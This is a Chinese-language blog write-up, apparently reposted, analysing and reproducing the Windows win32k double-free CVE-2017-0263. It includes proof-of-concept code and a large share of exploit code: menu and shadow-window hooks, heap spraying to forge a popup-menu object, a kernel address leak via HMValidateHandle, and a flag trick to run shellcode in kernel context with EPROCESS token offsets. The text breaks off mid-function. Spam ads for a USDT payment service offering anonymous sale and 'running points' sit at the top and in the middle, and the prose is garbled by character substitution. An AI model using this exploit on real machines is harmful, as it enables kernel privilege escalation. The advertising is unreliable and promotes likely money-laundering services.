USDT自动API接口

菜宝钱包(caibao.it)是使用TRC-20协议的Usdt第三方支付平台,Usdt收款平台、Usdt自动充提平台、usdt跑分平台。免费提供入金通道、Usdt钱包支付接口、Usdt自动充值接口、Usdt无需实名寄售回收。菜宝Usdt钱包一键生成Usdt钱包、一键调用API接口、一键无实名出售Usdt。

cve-2017-0263是一个win32k的UAF破绽,我在参考了小刀师傅的文章之后举行了复现剖析。由于小刀师傅珠玉在前,以是我的文章只是一个粗劣的模拟+踩坑纪录,若是你以为那里不明了的话可以移步小刀师傅的文章,你应该会被师傅的知识的广度和条理性所折服。
传送门:小刀师傅的博客

设置破绽触发环境

[+] win7 x86 sp1
[+] windbg preview 1.0.2001.02001

BSOD剖析

基本信息网络

将poc放入虚拟机之后运行,windbg断下来之后我们用! *** yze -v查看破绽类型。

fe8733e8这块幸运内存被释放了两次,乐成造成了Double Free。接着再看看挪用关系

问题就发生在这里,nt!ExFreePoolWithTag函数释放了一块已经释放过的内存,往上追溯看一下它的挪用者win32k!MNFreePopup函数。


对照要害的地方是这俩,程序将唯一的参数直接转达给了nt!ExFreePoolWithTag,他也是个工具人,继续往上追溯到win32k!xxxMNEndMenuState,该函数用来整理菜单状态结构体,其中就包罗挪用win32k!MNFreePopup函数来释放弹出菜单工具和窗口工具。我们看一下windows 2000中对应的代码

// 为了利便旁观,我省略了部门内容。
void xxxMNEndMenuState (BOOL fFreePopup)
{
    PTHREADINFO ptiCurrent = PtiCurrent();
    PMENUSTATE pMenuState;
    pMenuState = ptiCurrent->pMenuState;
    if (pMenuState->pGlobalPopupMenu != NULL) {
        if (fFreePopup) {
            MNFreePopup(pMenuState->pGlobalPopupMenu);
        } else {
            pMenuState->pGlobalPopupMenu->fDelayedFree = FALSE;
        }
    }
    UnlockMFMWFPWindow(&pMenuState->uButtonDownHitArea);
    UnlockMFMWFPWindow(&pMenuState->uDraggingHitArea);
    ptiCurrent->pMenuState = pMenuState->pmnsPrev;
}


函数首先从当前线程信息tagTHREADINFO中获得pMenuState成员域指向的菜单状态结构体工具,接着判断pMenuStatepGlobalPopupMenu成员是否为空,不为空的话将其转达给MNFreePopup函数举行释放,pGlobalPopupMenu成员指向弹出菜单结构体tagPOPMENU工具。
然则注重后三行,虽然pMenuState成员域会被重置,连带着pMenuStatepGlobalPopupMenu成员也会完蛋,似乎是没什么行使的可能,但就在重置pMenuState之前,函数会对pMenuState->uButtonDownHitAreapMenuState->uDraggingHitArea解锁和释放,若是我们可以组织特殊的菜单窗口工具,就可以让执行流回到用户历程中,在行使代码中我们可以为所欲为,我们可以对尚存的悬挂指针pGlobalPopupMenu成员再次举行释放,就可以导致BSOD的发生了。

第一次释放

为了追踪这两次释放,我们需要在xxxMNEndMenuState函数释放pGlobalPopupMenu成员的位置下断点:

ba e1 win32k!xxxMNEndMenuState+0x31 "r eax;.if((@eax & 0x0`ffffffff)==0xfe8733e8){}.else{.echo continue;g}"

这个断点有一个需要注重的地方,那就是为什么要将条件设置为eax & 0x0`ffffffff,他原本不就是32位的寄存器吗?这个地方还困了我挺久的,我之前一直断不下来,可以看看微软自己家的文档怎么说:

MASM 表达式盘算器补符号位的高即是一寄存器。 当eax具有值 0xC0004321,将被视为 0xFFFFFFFF`C0004321 中盘算-纵然eax仍将显示为 0xC0004321。 然则,数字0xc0004321是带符号扩展在内核模式下,但不是在用户模式下。 因此前, 一个下令将无法正常事情在用户模式下。 若是掩码的高位eax,该下令将在内核模式下-正常事情,但现在它将在用户模式下失败

下了断点之后最先运行,程序断下来之后看一下客栈

xxxMNEndMenuState函数的挪用者是win32k!xxxMenuWindowProc函数,该函数专门对Menu窗口的新闻做出响应,当ring3代码挪用SendMessage- >NtUserMessageCall发送新闻给Menu窗口,或者ring0挪用xxxSendMessage发送新闻给Menu窗口时,都市通过FNID函数封装后最终挪用到该函数。
这里我们反汇编一下,看看win32k!xxxMenuWindowProc函数在收到什么新闻的时刻会挪用xxxMNEndMenuState函数:


不难看出,当win32k!xxxMenuWindowProc函数收到未被文档化的MN_ENDMENU(0x1F3)新闻且Menu为非模态(mode less)时,就会挪用xxxMNEndMenuState函数来销毁MenuState。你可能会以为我们直接在用户历程中来一句SendMessage()就可以销毁MenuState,然则弹出菜单的机制有点不太一样,接下来剖析一下弹出菜单从降生到销毁的大致流程。
在用户历程中,我们通过挪用 TrackPopupMenuEx函数来展示菜单,TrackPopupMenuEx函数又会挪用win32k!xxxTrackPopupMenuEx函数,此函数会做以下几件事:

  1. 通过xxxCreateWindowEx函数为弹出菜单工具确立了一个类型为,32768的窗口工具,在tagWND的末尾拓展区域存放了一个tagPOPUPMENU结构,并对tagPOPUPMENU举行初始化。
  2. 挪用 xxxMNAllocMenuState函数初始化菜单状态结构体的各个成员域,并将tagPOPMENU工具作为当前的根弹出菜单工具,其指针放置在pGlobalPopmenu中。
  3. 接下来函数挪用 xxxSetWindowPos 函数以设置目的菜单层叠窗口在屏幕中的位置并将其显示在屏幕中。在函数 xxxSetWindowPos 执行时代,相关窗口位置和状态已完成改变之后,系统在函数 xxxEndDeferWindowPosEx 中挪用 xxxSendChangedMsgs 以发送窗口位置已改变的新闻。在函数 xxxSendChangedMsgs 中,系统凭证设置的 SWP_SHOWWINDOW 状态标志,为当前的目的菜单层叠窗口工具确立并添加关联的阴影窗口工具。两个窗口工具的关联关系在函数 xxxAddShadow 中被添加到 gpshadowFirst 阴影窗口关联表中。
  4. 挪用 xxxWindowEvent 函数以发送代表“菜单弹出最先”的 EVENT_SYSTEM_MENUPOPUPSTART 事宜通知。若是先前在用户历程中设置了包罗这种类型时间通知局限的窗口事宜通知处置函数,那么系统将在线程信息循环处置时代分发挪用这些通知处置函数。
  5. 接下来菜单被选择或作废,退出循环并销毁PopupMenu、Menu窗口工具和MenuState结构(xxxxxEndMenuLoop、xxxMNEndMenuState等)。

这个函数管的太多了,在我们的视角下就是只调了这一个API就已经把事情做完了,似乎基本没有给我们和弹出菜单说句话的时机,也不会返回指向弹出菜单工具的指针,在内部就直接销毁了。你应该已经看到了,第4步说的很清晰了,若是我们可以注册处置EVENT_SYSTEM_MENUPOPUPSTART 事宜的hook,就可以为所欲为了。我们可以直接挪用SetWinEventHook函数来注册针对于EVENT_SYSTEM_MENUPOPUPSTART 事宜的hook,这样我们就可以给他发送MN_ENDMENU(0x1F3)新闻来销毁窗口。

现在这个客栈的源头就很清晰了,虽然说poc我们有符号文件,但哪怕没有符号文件,我们依旧可以推断出这个函数就是针对于EVENT_SYSTEM_MENUPOPUPSTART 事宜的hook函数,该函数发送了MN_ENDMENU(0x1F3)新闻来对内存块fe8733e8举行了第一次释放。

第二次释放

接着运行程序就可以来到下一处断点,也就是我们的第二次释放

和奔溃时的客栈相比就知道,这次尚未发生的释放就是凶手,继续执行下去会导致BSOD的发生。若是你还记得前面剖析过的xxxMNEndMenuState函数的功效的话,那你应该还记得我们的操作空间仅限如下

UnlockMFMWFPWindow(&pMenuState->uButtonDownHitArea);
    UnlockMFMWFPWindow(&pMenuState->uDraggingHitArea);

我们看一下UnlockMFMWFPWindow函数的实现

,define Unlock(ppobj)     HMAssignmentUnlock((PVOID *)ppobj)

void UnlockMFMWFPWindow (PULONG_PTR puHitArea)
{
    if (IsMFMWFPWindow(*puHitArea)) {
        Unlock(puHitArea);
    } else {
        *puHitArea = MFMWFP_OFFMENU;
    }
}

该函数对目的举行校验之后就挪用HMAssignmentUnlock函数来对目的解锁,HMAssignmentUnlock函数祛除赋值锁的历程会减小工具的锁计数,在锁计数减小为0时挪用HMUnlockObjectInternal销毁工具,销毁时挪用win32k!ghati对应表项的销毁例程,并最终挪用win32kfull!xxxDestroyWindow对窗口工具举行释放。
而uButtonDownHitArea成员保留着当前鼠标按下的坐标区域所属的窗口工具地址,当系统对其解锁并销毁的时刻,会同时消除与该工具关联的阴影窗口工具(关于阴影窗口何时被确立,请回首前面临TrackPopupMenuEx函数的剖析)。然则阴影窗口工具没有属于自己的窗口新闻处置函数,以是我们若是将窗口工具的新闻处置函数修改为我们自界说的新闻处置函数,就可以再一次的取得控制权,第二次释放也就是在此时发生的,这一点可以从客栈中看出。
至此,我们基本完成了对BSOD的剖析,可以获得以下情报:

[+] win32k!xxxMNEndMenuState函数在释放根弹出菜单工具时,没有实时将该成员置零,导致泛起了一个可以被行使的悬挂指针,可以造成UAF
[+] poc中的第一次释放是正常释放,收到未被文档化的MN_ENDMENU(0x1F3)新闻且Menu为非模态mode less)时,就会挪用xxxMNEndMenuState函数来挪用MNFreePopup(pMenuState->pGlobalPopupMenu)
[+] poc中的第二次释放是通过阴影窗口工具的机制,在挪用hook了的新闻处置函数时触发的win32k!xxxMNEndMenuState

poc剖析

准备事情

LPCSTR szMenuItem = "item";
    MENUINFO mi = { 0 };
    mi.cbSize = sizeof(mi);
    // MIM_STYLE 解释要设置 dwStyle 这个标志位
    mi.fMask = MIM_STYLE;
    // autodi *** iss 鼠标移到菜单窗口外面一会儿窗口会自动消逝
    // modeless 非模态
    // dragdrop 拖放窗口
    mi.dwStyle = MNS_AUTODISMISS | MNS_MODELESS | MNS_DRAGDROP;

    HMENU hpopupMenu[2] = { 0 };

    // 用 CreatePopupMenu 确立的菜单是空的,后面用 AppendMenu 来添加 items
    hpopupMenu[0] = CreatePopupMenu();
    hpopupMenu[1] = CreatePopupMenu();
    SetMenuInfo(hpopupMenu[0], &mi);
    SetMenuInfo(hpopupMenu[1], &mi);

    AppendMenuA(hpopupMenu[0], MF_BYPOSITION | MF_POPUP, (UINT_PTR)hpopupMenu[1], szMenuItem);
    AppendMenuA(hpopupMenu[1], MF_BYPOSITION | MF_POPUP, 0, szMenuItem);

挪用CreatePopupMenu函数确立两个非模态的可弹出菜单工具,参考MSDN的注释

Creates a drop-down menu, submenu, or shortcut menu. The menu is initially empty. You can insert or append menu items by using the InsertMenuItem function. You can also use the InsertMenu function to insert menu items and the AppendMenu function to append menu items.

该函数确立带有MFISPOPUP标志位的tagMENU工具,而不是tagPOPUPMENU工具。tagPOPUPMENU用来形貌菜单工具实体的弹出状态的工具,在菜单工具现实弹出时确立、菜单工具竣事弹出状态时销毁。
由于这两个工具确立之初是空的,以是我们继续挪用AppendMenuA函数添加菜单项,而且使得第二个菜单成为第一个菜单的子菜单。

设置hook

WNDCLASSEXW wndClass = { 0 };
    wndClass = { 0 };
    wndClass.cbSize = sizeof(WNDCLASSEXW);
    wndClass.lpfnWndProc = DefWindowProcW;
    wndClass.cbWndExtra = 0;
    wndClass.hInstance = GetModuleHandleA(NULL);
    wndClass.lpszMenuName = NULL;
    wndClass.lpszClassName = L"WNDCLASSMAIN";
    RegisterClassExW(&wndClass);
    HWND hWindowMain = CreateWindowExW(WS_EX_LAYERED | WS_EX_TOOLWINDOW | WS_EX_TOPMOST,
        L"WNDCLASSMAIN",
        NULL,
        WS_VISIBLE,
        0,  // x
        0,  // y
        1,  // width
        1,  // height
        NULL,
        NULL,
        GetModuleHandleA(NULL),
        NULL);

确立一个通俗的窗口工具作为后续菜单弹出时弹出菜单的拥有者窗口工具。

SetWindowsHookExW(WH_CALLWNDPROC, xxWindowHookProc,
        GetModuleHandleA(NULL),
        GetCurrentThreadId());
    SetWinEventHook(EVENT_SYSTEM_MENUPOPUPSTART, EVENT_SYSTEM_MENUPOPUPSTART,
        GetModuleHandleA(NULL),
        xxWindowEventProc,
        GetCurrentProcessId(),
        GetCurrentThreadId(),
        0);

挪用SetWindowsHookExW函数确立类型为WH_CALLWNDPROC关联当前线程的hook程序,这是由于在xxxTrackPopupMenuEx函数中,系统在挪用工具指定的新闻处置程序之前,还会挪用 xxxCallHook 函数用来挪用先前由用户历程设定的 WH_CALLWNDPROC 类型的挂钩处置程序,以是若是我们设置这种类型的挂钩会在每次线程将新闻发送给窗口工具之前挪用。
接着通过SetWinEventHook函数确立包罗EVENT_SYSTEM_MENUPOPUPSTART的关联当前历程和线程的事宜通知新闻处置程序。至于为什么是EVENT_SYSTEM_MENUPOPUPSTART,可以回首前面临于第一次释放的剖析。

第一次释放

TrackPopupMenuEx(hpopupMenu[0], 0, 0, 0, hWindowMain, NULL);

挪用TrackPopupMenuEx函数将我们确立的第一个可弹出菜单工具作为跟菜单在工具中弹出。
挪用TrackPopupMenuEx函数会挪用win32k!xxxTrackPopupMenuEx函数,首先通过xxxCreateWindowEx函数为弹出菜单工具确立了一个类型为,32768的窗口工具,若是确立乐成的话就会发送WM_NCCREATE新闻。在处置新闻之前,会挪用我们刚刚设置的WH_CALLWNDPROC 类型的挂钩处置程序,即xxWindowHookProc函数

// 弹出窗口和阴影窗口确立时都市挪用到这个函数
LRESULT CALLBACK
xxWindowHookProc(INT code, WPARAM wParam, LPARAM lParam)
{

    tagCWPSTRUCT* cwp = (tagCWPSTRUCT*)lParam;
    if (cwp->message != WM_NCCREATE)
    {
        return CallNextHookEx(0, code, wParam, lParam);
    }
    WCHAR szTemp[0x20] = { 0 };
    GetClassNameW(cwp->hwnd, szTemp, 0x14);

    if (!wcscmp(szTemp, L",32768"))
    {
        hwndMenuHit = cwp->hwnd;
    }

    // 第一次释放只需要用到上述部门,其余部门后面会弥补的

    return CallNextHookEx(0, code, wParam, lParam);
}

首先判断当前处置的新闻是否为WM_NCCREATE新闻,不是的话就直接返回。接着再判断类名称是否为,32768,是的话示意这就是TrackPopupMenuEx函数确立的菜单窗口工具,将其句柄保留起来。

static UINT  iMenuCreated = 0;
VOID CALLBACK
xxWindowEventProc(
    HWINEVENTHOOK hWinEventHook,
    DWORD         event,
    HWND          hwnd,
    LONG          idObject,
    LONG          idChild,
    DWORD         idEventThread,
    DWORD         dwmsEventTime
)
{

    if (++iMenuCreated >= 2)
    {
        // 向子菜单发送 MN_ENDMENU 以关闭整个菜单
        SendMessageW(hwnd, MN_ENDMENU, 0, 0);
    }
    else
    {
        SendMessageW(hwnd, WM_LBUTTONDOWN, 1, 0x00020002); // (2,2)
    }
}VOID CALLBACK
xxWindowEventProc(
    HWINEVENTHOOK hWinEventHook,
    DWORD         event,
    HWND          hwnd,
    LONG          idObject,
    LONG          idChild,
    DWORD         idEventThread,
    DWORD         dwmsEventTime
)
{

    if (++iMenuCreated >= 2)
    {
        // 向子菜单发送 MN_ENDMENU 以关闭整个菜单
        SendMessageW(hwnd, MN_ENDMENU, 0, 0);
    }
    else
    {
        // 在 32 位系统中,参数 lParam 是一个 DWORD 类型的数值,其崎岖 16 位划分代表横坐标和纵坐标的相对位置,传入的数值需要确保相对坐标位于先前确立菜单时设定的子菜单项的位置。参数 wParam 设定用户按下的是左键照样右键,设置为 1 示意 MK_LBUTTON 左键。
        SendMessageW(hwnd, WM_LBUTTONDOWN, 1, 0x00020002); // (2,2)
    }
}

在内核函数xxxTrackPopupMenuEx中处置完成对根弹出菜单窗口工具的确立时,系统挪用xxxWindowEvent函数以发送代表“菜单弹出最先”的 EVENT_SYSTEM_MENUPOPUPSTART 事宜通知。这将进入我们先前设置的自界说事宜通知处置函数xxWindowEventProc中。每当进入该事宜通知处置程序时,代表当前新的弹出菜单已显示在屏幕中。iMenuCreated用来计数,第一次进入xxWindowEventProc函数的时刻,示意根弹出菜单已经在屏幕中显示,直接挪用 SendMessage函数向参数句柄hwnd指向的菜单窗口工具发送WM_LBUTTONDOWN鼠标左键按下的新闻,并在参数lParam传入按下的相对坐标。当新闻处置函数 xxxMenuWindowProc 吸收到该新闻时,会挪用xxxMNOpenHierarchy函数确立新的子菜单的相关工具,在这里完成新的子菜单在屏幕中的显示时,函数 xxxMNOpenHierarchy 挪用函数 xxxWindowEvent 发送 EVENT_SYSTEM_MENUPOPUPSTART 事宜通知。这使得执行流再次进入自界说事宜通知处置函数 xxWindowEventProc 中。第二次进入此函数时,示意弹出的子菜单已经显示了,此时发送MN_ENDMENU新闻来销毁窗口,导致执行xxxEndMenuState函数,从而执行第一次释放,即MNFreePopup(pMenuState->pGlobalPopupMenu)
至于为什么要设置WM_LBUTTONDOWN,是由于我们接下来要行使uButtonDownHitArea成员域,该成员域存储着当前鼠标按下的区域所属的窗口工具地址,当鼠标按键抬起时系统解锁并置零该成员域。因此,为了让他存储正当的窗口工具的地址,我们需要发送WM_LBUTTONDOWN鼠标左键按下的新闻。

,

Usdt第三方支付平台

菜宝钱包(www.caibao.it)是使用TRC-20协议的Usdt第三方支付平台,Usdt收款平台、Usdt自动充提平台、usdt跑分平台。免费提供入金通道、Usdt钱包支付接口、Usdt自动充值接口、Usdt无需实名寄售回收。菜宝Usdt钱包一键生成Usdt钱包、一键调用API接口、一键无实名出售Usdt。

,

第二次释放

在我们对BSOD剖析的时刻就知道了,第二次释放是行使了阴影窗口的机制,在释放uButtonDownHitArea会同时消除与该工具关联的阴影窗口工具,由于他并没有属于自己的窗口新闻处置函数,以是我们若是将窗口工具的新闻处置函数修改为我们自界说的新闻处置函数,就可以再一次的取得控制权。然则现在为止我们只完成了第一次释放,在释放uButtonDownHitArea的时刻并不能杀青我们的目的,由于我们还没有构建阴影窗口和hook新闻处置函数,这两个步骤都需要我们在xxWindowHookProc函数中举行操作,也就是刚刚剖析xxWindowHookProc函数时省略的内容,现在放出完整版本的函数:

static UINT iShadowCount = 0;

// 弹出窗口和阴影窗口确立时都市挪用到这个函数
LRESULT CALLBACK
xxWindowHookProc(INT code, WPARAM wParam, LPARAM lParam)
{

    tagCWPSTRUCT* cwp = (tagCWPSTRUCT*)lParam;
    if (cwp->message != WM_NCCREATE)
    {
        return CallNextHookEx(0, code, wParam, lParam);
    }
    WCHAR szTemp[0x20] = { 0 };
    GetClassNameW(cwp->hwnd, szTemp, 0x14);

    if (!wcscmp(szTemp, L",32768"))
    {
        hwndMenuHit = cwp->hwnd;
    }

    // 前面已经剖析过了,这里着重看后面的部门
    if (!wcscmp(szTemp, L"SysShadow") && hwndMenuHit != NULL)
    {
        iShadowCount++;

        if (iShadowCount == 3)
        {
            // cwp -> hwnd : 第三个阴影窗口
            // GWL_WNDPROC : 设置一个新的新闻处置函数
            SetWindowLongW(cwp->hwnd, GWL_WNDPROC, (LONG)xxShadowWindowProc);
        }
        else
        {
            // 对刚刚保留的窗口句柄先隐藏再关闭就可以再次确立阴影窗口
            SetWindowPos(hwndMenuHit, NULL, 0, 0, 0, 0, SWP_NOSIZE | SWP_NOMOVE | SWP_NOZORDER | SWP_HIDEWINDOW);
            SetWindowPos(hwndMenuHit, NULL, 0, 0, 0, 0, SWP_NOSIZE | SWP_NOMOVE | SWP_NOZORDER | SWP_SHOWWINDOW);
        }
    }
    return CallNextHookEx(0, code, wParam, lParam);
}

前面临xxxMNEndMenuState函数的剖析中已经说过了,在目的菜单窗口工具确立完成并乐成显示时,系统为该窗口工具确立关联的类型为 SysShadow 的阴影窗口工具。同样地,确立阴影窗口工具并发送 WM_NCCREATE 新闻时,系统也会挪用 xxxCallHook 函数来分发挪用挂钩程序,以是我们可以在xxWindowHookProc函数中举行对阴影窗口新闻处置函数的hook。至于为什么要像代码中设置三个阴影窗口,我们需要先领会一下终止菜单时的一些机制。

LABEL_227: // EndMenu
  xxxEndMenuLoop(menuState, menuState->pGlobalPopupMenu);
  if ( menuState->flags & 0x100 )
    xxxMNEndMenuState(1);
  return 0;

新闻处置函数 xxxMenuWindowProc 吸收到MN_ENDMENU新闻及菜单工具是非模态时,会在xxxMNEndMenuState函数被挪用之前挪用xxxEndMenuLoop函数,该函数最终会挪用xxxDestroyWindow函数和xxxFreeWindow函数销毁弹出的子菜单的窗口工具,这两个函数都市挪用xxxRemoveShadow函数来释放阴影窗口工具,若是只有一个阴影窗口的话,应该是第一次释放乐成,第二次发现存储阴影窗口的链表中无法查到有用节点而返回。
也就是说,在我们举行第一次释放的时刻,我们的窗口关联的阴影工具链表中的节点已经被释放了两次,又由于我们要马一直蹄的举行下一次释放来挪用我们自己设置的新闻处置程序,以是我们必须要早早设置三个阴影窗口工具,而且将第三个阴影窗口的新闻处置程序hook掉,这样就能在第一次释放之后处置uButtonDownHitArea时再次获得控制权。

LRESULT WINAPI
xxShadowWindowProc(
    _In_ HWND   hwnd,
    _In_ UINT   msg,
    _In_ WPARAM wParam,
    _In_ LPARAM lParam
)
{
    if (msg == WM_NCDESTROY)
    {
        xxSyscall(num_NtUserMNDragLeave, 0, 0);
    }
    return DefWindowProcW(hwnd, msg, wParam, lParam);
}

判断传入的新闻是否为WM_NCDESTROY,若是是的话就挪用NtUserMNDragLeave函数,该函数同样可以挪用xxxMNEndMenuState函数:

/***************************************************************************\
* xxxUnlockMenuState
*
* 11/24/96 GerardoB      Created
\***************************************************************************/
BOOL xxxUnlockMenuState (PMENUSTATE pMenuState)
{
    UserAssert(pMenuState->dwLockCount != 0);
    (pMenuState->dwLockCount)--;
    if ((pMenuState->dwLockCount == 0) && ExitMenuLoop(pMenuState, pMenuState->pGlobalPopupMenu)) {
        xxxMNEndMenuState(TRUE);
        return TRUE;
    }
    return FALSE;
}

继续挪用xxxMNEndMenuState函数就意味着会再次执行MNFreePopup(pMenuState->pGlobalPopupMenu);,上一个xxxMNEndMenuState函数中pGlobalPopMenu刚刚被释放过,现在再释放一次,自然造成了Double Free。

exp剖析

准备事情

typedef struct _SHELLCODE {
    DWORD reserved;
    DWORD pid;
    DWORD off_CLS_lpszMenuName;
    DWORD off_THREADINFO_ppi;
    DWORD off_EPROCESS_ActiveLink;
    DWORD off_EPROCESS_Token;
    PVOID tagCLS[0x100];
    BYTE  pfnWindProc[];
} SHELLCODE, * PSHELLCODE;

static PSHELLCODE pvShellCode = NULL;

    pvShellCode = (PSHELLCODE)VirtualAlloc(NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (pvShellCode == NULL)
    {
        return 0;
    }
    ZeroMemory(pvShellCode, 0x1000);
    pvShellCode->pid = GetCurrentProcessId();
    pvShellCode->off_CLS_lpszMenuName = 0x050;
    pvShellCode->off_THREADINFO_ppi = 0x0b8;
    pvShellCode->off_EPROCESS_ActiveLink = 0x0b8;
    pvShellCode->off_EPROCESS_Token = 0x0f8;
    CopyMemory(pvShellCode->pfnWindProc, xxPayloadWindProc, sizeof(xxPayloadWindProc));

首先在用户历程中分配完整内存页的RWX内存块,并初始化相关成员域,将 ShellCode 函数代码拷贝到从成员域 pfnWindProc 起始的内存地址。

伪造根弹出菜单工具

DWORD dwPopupFake[0xD] = { 0 };
    dwPopupFake[0x0] = (DWORD)0x00098208;  //->flags
    dwPopupFake[0x1] = (DWORD)pvHeadFake;  //->spwndNotify
    dwPopupFake[0x2] = (DWORD)pvHeadFake;  //->spwndPopupMenu
    dwPopupFake[0x3] = (DWORD)pvHeadFake;  //->spwndNextPopup
    dwPopupFake[0x4] = (DWORD)pvAddrFlags - 4; //->spwndPrevPopup
    dwPopupFake[0x5] = (DWORD)pvHeadFake;  //->spmenu
    dwPopupFake[0x6] = (DWORD)pvHeadFake;  //->spmenuAlternate
    dwPopupFake[0x7] = (DWORD)pvHeadFake;  //->spwndActivePopup
    dwPopupFake[0x8] = (DWORD)0xFFFFFFFF;  //->ppopupmenuRoot
    dwPopupFake[0x9] = (DWORD)pvHeadFake;  //->ppmDelayedFree
    dwPopupFake[0xA] = (DWORD)0xFFFFFFFF;  //->posSelectedItem
    dwPopupFake[0xB] = (DWORD)pvHeadFake;  //->posDropped
    dwPopupFake[0xC] = (DWORD)0;
    for (UINT i = 0; i < iWindowCount; ++i)
    {
        SetClassLongW(hWindowList[i], GCL_MENUNAME, (LONG)dwPopupFake);
    }
    xxNtUserMNDragLeave();

举行第一次释放之后,程序会进入我们预期的xxxShadowWindowProc,我们可以通过SetClassLongW函数在这里对大量窗口设置MENUNAME字段,内核会为窗口类tagCLS工具的成员域IpsMenuName分配并设置UNICODE缓冲区。由于IpsMenuName和弹出菜单ragPOPUPMENU工具的缓冲区都是历程配额的内存块,巨细相同,以是可以用来占位刚刚释放的内存,伪造根弹出菜单工具,使系统以为弹出工具并没有被释放,而是正常的存在于内核中。
至于这里的大量窗口是哪来的,需要我们在程序挪用TrackPopupmenuEx函数之前确立:

for (INT i = 0; i < 0x100; i++)
    {
        WNDCLASSEXW Class = { 0 };
        WCHAR szTemp[20] = { 0 };
        HWND hwnd = NULL;
        wsprintfW(szTemp, L"%x-%d", rand(), i);
        Class.cbSize = sizeof(WNDCLASSEXA);
        Class.lpfnWndProc = DefWindowProcW;
        Class.cbWndExtra = 0;
        Class.hInstance = GetModuleHandleA(NULL);
        Class.lpszMenuName = NULL;
        Class.lpszClassName = szTemp;
        if (!RegisterClassExW(&Class))
        {
            continue;
        }
        hwnd = CreateWindowExW(0, szTemp, NULL, WS_OVERLAPPED,
            0,
            0,
            0,
            0,
            NULL,
            NULL,
            GetModuleHandleA(NULL),
            NULL);
        if (hwnd == NULL)
        {
            continue;
        }
        hWindowList[iWindowCount++] = hwnd;
    }

挪用CreateWindowEx函数确立大量窗口并注册单独的窗口类,以备后续使用。

伪造弹出菜单工具成员域

弹出工具已经伪造乐成了,但若是xxxMNEndMenuState函数对成员域举行解锁的话照样会报错,由于我们还没有对成员域举行组织,我们需要让他们指向有用的内存空间,这样才气准确运行。

xxRegisterWindowClassW(L"WNDCLASSHUNT", 0x200);
    hWindowHunt = xxCreateWindowExW(L"WNDCLASSHUNT",
        WS_EX_LEFT,
        WS_OVERLAPPED);

载体窗口工具 hWindowHunt 具有 0x200 字节巨细的扩展区域,扩展区域紧随基础的 tagWND 工具厥后,在行使代码中将用来伪造种种相关的内核用户工具,以使系统重新执行 xxxMNEndMenuState函数时代,执行流能正常稳固地执行。

泄露内核工具地址

static
VOID
xxGetHMValidateHandle(VOID)
{
    HMODULE hModule = LoadLibraryA("USER32.DLL");
    PBYTE pfnIsMenu = (PBYTE)GetProcAddress(hModule, "IsMenu");
    PBYTE Address = NULL;
    for (INT i = 0; i < 0x30; i++)
    {
        if (*(WORD*)(i + pfnIsMenu) != 0x02B2)
        {
            continue;
        }
        i += 2;
        if (*(BYTE*)(i + pfnIsMenu) != 0xE8)
        {
            continue;
        }
        Address = *(DWORD*)(i + pfnIsMenu + 1) + pfnIsMenu;
        Address = Address + i + 5;
        pfnHMValidateHandle = (PVOID(__fastcall*)(HANDLE, BYTE))Address;
        break;
    }
}

通过硬编码匹配的方式,从 user32 模块的导出函数 IsMenu 中查找并盘算函数 HMValidateHandle 的地址,这个未导出的函数吸收用户句柄和工具类型作为参数,在内部对参数举行验证,验证通过时则返回目的工具在当前历程桌面堆中映射的地址。
有了这招,我们先泄露tagWND在桌面堆中的地址,该结构如下:

其中的pSelf指向所属工具的内核地址,因此我们也获得了当前窗口工具的内核地址。

PTHRDESKHEAD head = (PTHRDESKHEAD)xxHMValidateHandle(hWindowHunt);
PBYTE pbExtra = head->deskhead.pSelf + 0xb0 + 4;
pvHeadFake = pbExtra + 0x44;
for (UINT x = 0; x < 0x7F; x++) // 0x04~0x1FC
{
    SetWindowLongW(hWindowHunt, sizeof(DWORD) * (x + 1), (LONG)pbExtra);
}
PVOID pti = head->thread.pti;
SetWindowLongW(hWindowHunt, 0x50, (LONG)pti); // pti

将载体窗口工具的扩展区域预留 4 字节,将剩余 0x1FC 字节的内存区域所有填充为扩展区域 +0x04 字节偏移的地址,填充的数值将作为种种伪造工具的句柄、引用计数或工具指针成员域。接下来将剩余内存区域 +0x44 字节偏移的内存数据作为伪造的内核用户工具头部结构,其地址被作为伪造的根弹出菜单 tagPOPUPMENU 工具的各个指针成员域的值。

内核代码执行

窗口结构体 tagWND 工具的成员标志位 bServerSideWindowProc 是一个特殊标志位,该标志位决议所属窗口工具的新闻处置函数属于服务端照样客户端。若是该标志置位的话,函数会直接使当前线程在内核上下文挪用目的窗口工具的新闻处置函数。若是我们将未置位的窗口置位并挟制新闻处置函数的话的话,便可以将我们设置的函数在内核上下文中执行。

该成员位于tagWND工具的第18比特位,标志位 bDialogWindow 的位置是 bServerSideWindowProc 所在字节的起始比特位。通过研究发现,在确立通俗窗口工具时,若是样式参数 dwStyle 和扩展样式参数 dwExStyle 都传值为 0 默认值,那么在内核中成员域 bDialogWindow 和 bHasCreatestructName 都将未被置位。因此可以借助这个特征,实现对目的要害标志位的置位。

pvAddrFlags = *(PBYTE*)((PBYTE)xxHMValidateHandle(hWindowHunt) + 0x10) + 0x16;

    SetWindowLongW(hWindowHunt, GWL_WNDPROC, (LONG)pvShellCode->pfnWindProc);

获得bDialogWindow的地址,再设置准备事情中设置的pfnWindProc成员域为hWindowHunt的新闻处置函数。

dwPopupFake[0x4] = (DWORD)pvAddrFlags - 4; //->spwndPrevPopup

设置bDialogWindow的减四字节作为组织的tagPOPUPMENU工具的某个窗口工具指针成员域,这样刚刚提到的三个标志位正好位于该指针该指针成员域指向的窗口工具的锁计数成员域cLockObj的低3比特位,这样的话在xxxMNEndMenu函数对该成员域解锁的时刻,会对bDialogWindow起始的32位数值自减,这会导致三个标志位都为1,从而获得hook的新闻处置函数在内核上下文执行的时机。

shellcode

第二次释放的根弹出菜单工具现实上是批量确立的通俗窗口工具中某个窗口工具所属窗口类 tagCLS 工具的成员域 lpszMenuName 指向的缓冲区。这将导致在历程退出时销毁用户工具时代,系统在内核中释放目的窗口类工具成员域 lpszMenuName 时引发重复释放的异常。

static constexpr UINT num_offset_WND_pcls = 0x64;
for (INT i = 0; i < iWindowCount; i++)
{
    pvShellCode->tagCLS[i] = *(PVOID *)((PBYTE)xxHMValidateHandle(hWindowList[i]) + num_offset_WND_pcls);
}

我们需要在 ShellCode 代码中将目的窗口类工具的成员域 lpszMenuName 置空。我们需要在批量确立窗口的时刻将每一个窗口的成员域pcls指向地址保留起来。

VOID CALLBACK
xxWindowEventProc(
    HWINEVENTHOOK hWinEventHook,
    DWORD         event,
    HWND          hwnd,
    LONG          idObject,
    LONG          idChild,
    DWORD         idEventThread,
